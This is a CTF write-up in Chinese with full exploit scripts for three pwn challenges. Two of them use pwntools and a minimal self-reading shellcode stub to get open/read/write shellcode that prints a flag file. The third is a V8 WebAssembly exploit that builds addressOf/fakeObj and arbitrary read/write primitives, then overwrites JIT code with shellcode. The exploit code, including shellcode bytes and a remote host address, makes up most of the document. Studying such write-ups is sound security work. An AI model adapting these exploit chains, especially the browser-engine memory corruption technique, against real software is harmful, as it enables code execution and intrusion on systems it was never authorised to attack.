only



主菜单选 2.bookkeeping
输入那个神奇的 double:8.592564544313935e-246(魔数)
就会进 help 分支,出现:
1.run your code2.get a gift
run your code 的逻辑是:
mmap 一块 RWX 内存;
先写一小段固定 stub;
再从 addr+0x2a 开始,读 10 字节你的 shellcode;
最后 (*addr)(),跳进这块 RWX 内存执行:
在栈上申请 0x100 临时空间,打印 "S\n" 表示进入 stage2;
把字符串 /flag 写到 buffer,
先用 openat(AT_FDCWD, "/flag", flags, mode) 打开,不行再用 open;
打开成功后,read(fd, buf, 0x100) 把 flag 读入,再 write(1, buf, n) 打到 stdout
exp
from pwn import *
import re
context.update(arch='amd64', os='linux', log_level='debug')
BIN='./chal'
LIBC='./libc.so.6'
HOST = '101.245.98.115'
PORT = 26100
MAGIC = b'8.592564544313935e-246'
def stage1_10B():
return b"\xE8\x00\x00\x00\x00\x5E\xB2\xF0\x0F\x05"
def build_stage2(strategy='ro'):
if strategy == 'ro':
flags_openat = "xor edx, edx" # O_RDONLY
mode_openat = "xor r10d, r10d"
flags_open = "xor esi, esi" # O_RDONLY
mode_open = "xor edx, edx"
elif strategy == 'rw':
flags_openat = "mov edx, 0x42" # O_CREAT|O_RDWR
mode_openat = "mov r10d, 0x1a4" # 0644
flags_open = "mov esi, 0x42"
mode_open = "mov edx, 0x1a4"
else:
raise ValueError("strategy must be 'ro' or 'rw'")
asm_code = f"""
nop
nop
nop
nop
nop
sub rsp, 0x100
mov rbx, rsp
mov word ptr [rbx], 0x0a53
mov eax, 1
mov edi, 1
mov rsi, rbx
mov edx, 2
syscall
mov rax, 0x00000067616c662f /* "/flag\\0\\0\\0" */
mov [rbx], rax
mov eax, 257
mov edi, -100
mov rsi, rbx
{flags_openat}
{mode_openat}
syscall
test rax, rax
js try_open
jmp dump
try_open:
mov rax, 2
mov rdi, rbx
{flags_open}
{mode_open}
syscall
test rax, rax
js fail
dump:
mov rdi, rax
mov rsi, rbx
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov eax, 1
mov edi, 1
mov rsi, rbx
syscall
mov eax, 60
xor edi, edi
syscall
fail:
mov word ptr [rbx], 0x0a45
mov eax, 1
mov edi, 1
mov rsi, rbx
mov edx, 2
syscall
mov eax, 60
xor edi, edi
syscall
"""
sc = asm(asm_code)
assert len(sc) <= 0xF0, f"stage2 too long: {len(sc)}"
return sc
def leak_canary_remote():
#io = remote(HOST, PORT)
io = process(BIN, env={b'LD_PRELOAD': LIBC})
io.sendlineafter(b'3.exit', b'2')
io.sendlineafter(b'input:', MAGIC)
io.sendlineafter(b'Make a choice:', b'2')
canary = int(line.strip().split()[-1], 16)
log.success(f'leaked canary = {hex(canary)}')
io.sendline(b'0')
io.recvuntil(b"sum:"); io.recvline()
io.close()
return canary
def run_shellcode_remote(strategy='ro'):
#io = remote(HOST, PORT)
io = process(BIN, env={b'LD_PRELOAD': LIBC})
io.sendlineafter(b'3.exit', b'2')
io.sendlineafter(b'input:', MAGIC)
io.sendlineafter(b'Make a choice:', b'1')
io.sendafter(b'your code:', stage1_10B())
st2 = build_stage2(strategy=strategy)
io.send(st2)
io.interactive()
def main():
try:
leak_canary_remote()
except:
log.warning('leak_canary_remote() 失败')
try:
run_shellcode_remote(strategy='ro')
except EOFError:
run_shellcode_remote(strategy='rw') #rw
if __name__ == '__main__':
main()
only_rev

和上道题一样,只不过这次只能写9字节shellcode

从大佬RoderickChan的博客得到启发:https://www.cnblogs.com/LynneHuan/p/17822153.html
当寄存器都是0的时候执行syscall,rcx会被赋值
正好这道题就是这样,清空了所有寄存器(包括 RIP 相关的寄存器),正常的 Shellcode 根本写不下
利用这一点,可以构造shellcode如下:
shellcode_src = '''
syscall /* 1. 触发系统调用 (2字节) */
mov rsi, rcx /* 2. 把 RCX 的值给 RSI (3字节) */
mov dl, 0xff /* 3. 把 DL 设为 255 (2字节) */
syscall /* 4. 再次系统调用 (2字节) */
'''
# 总长度:2+3+2+2 = 9 字节。完美卡在限制内。
shellcode = asm(shellcode_src)
第一步:执行第 1 个 syscall
输入状态: RAX=0, RDI=0, RSI=0, RDX=0
动作: 执行 read(0, 0, 0)。
实际没读入任何数据,RAX 返回值仍为 0(读取字节数为0)。但是 RCX 变成了当前代码段的地址(指向下一条指令 mov)。
第二步:mov rsi, rcx
把刚才白嫖到的地址 (RCX) 复制给 read 的参数寄存器 (RSI)。
结果: RSI 指向了我们输入的当前位置。
第三步:mov dl, 0xff (修改 RDX 低位)
read 需要读取长度。也就是把 RDX 从 0 变成 255 (0xff)。得到 RDX = 255。
第四步:执行第 2 个 syscall
RAX = 0 (第一步返回值保留下来的,刚好还是 read)
RDI = 0 (一直没变,还是 stdin)
RSI = 当前代码地址 (第二步设置的)
RDX = 255 (第三步设置的)
执行 read(0, current_addr, 255)
通过 Stage 1 的“自己覆盖自己”,我们现在拥有了 255 字节的空间,可以为所欲为了
payload = asm(
'nop;' * 0x40 + # 1. NOP 滑梯
'lea rsp, [rip+0x800];' + # 2. 栈指针修复
shellcraft.open('flag', 0, 0) + # 3. Open
shellcraft.read('rax', 'rsp', 0x100) + # 4. Read
shellcraft.write(1, 'rsp', 0x100) # 5. Write
)
io.send(payload)
标准的 ORW 链
exp
from pwn import *
import struct
filename = './chal'
e = ELF(filename)
context.log_level = 'debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
io = process(filename)
hex_value = 0xD0E0A0D0B0E0E0F
float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
io.sendlineafter('3.', '2')
io.sendlineafter('input', "{:.100g}".format(float_value))
io.sendlineafter(':', '1')
shellcode_src = '''
syscall
mov rsi, rcx
mov dl, 0xff
syscall
'''
shellcode = asm(shellcode_src)
io.sendafter(':', shellcode)
payload = asm('nop;'*0x40 + 'lea rsp, [rip+0x800];' + shellcraft.open('flag', 0, 0) + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
io.send(payload)
io.interactive()
no_check_WASM
var wasm_mode = 1;
if(wasm_mode){
prefix = "../../";
path = "test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(prefix + path);
}
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}
function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}
function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}
// function stop(){
// console.log("stop...");
// %SystemBreak();
// }
// function p(arg){
// %DebugPrint(arg);
// }
function spin(){
console.log("spin...");
while(true){};
}
function stuck(){
console.log("readline....");
readline();
}
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
const builder = new WasmModuleBuilder();
// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprBlock, kWasmI32,
kExprBr, 0,
kExprEnd,
]);
// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
kExprBlock, 0x40,
kExprLocalGet, 0,
kExprReturn,
kExprEnd,
kExprUnreachable,
]);
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
kExprI64Const, 0,
]);
const structType = builder.addStruct([makeField(kWasmI64, true)]);
const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
kExprLocalGet, 0,
]);
builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprBlock, kWasmI64,
kExprBr, 0,
kExprEnd,
]);
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, cast_function.index,
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, cast_function.index,
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
const instance = builder.instantiate();
let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = instance.exports;
let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
logg("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
logg("stack_value", stack_value);
// for(let i = 0; i < 10; i++){
// let test = AAR(stack_value+1n+BigInt(i*0x8));
// logg("test", test);
// }
let jit_code_addr = AAR(stack_value+1n);
let cage_base = leak_cage_base(instance) & ~0xffffffffn;
logg("cage_base", cage_base);
logg("jit_code_addr", jit_code_addr);
const wasm_bytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance_shellcode = new WebAssembly.Instance(mod);
const pwn = instance_shellcode.exports.pwn;
let offset_to_jit = 0x2959n;
let rop_addr = jit_code_addr+offset_to_jit;
// p(instance_shellcode);
logg("rop_addr", rop_addr);
var shellcode = [
10416984888683040912n,
10416984888683040912n,
10416984888683040912n,
10416984888683040912n,
72340172838123592n,
7521907171660923137n,
302101820911791727n,
17740191518968858660n,
21732277098n
];
// var shellcode = [
// 0x4141414141414141n,
// 0x4141414141414141n,
// ];q
pwn(0x1n);
for(let i = 0; i < shellcode.length; i++){
AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]);
}
// stop();
pwn(0x1n);
// spin();









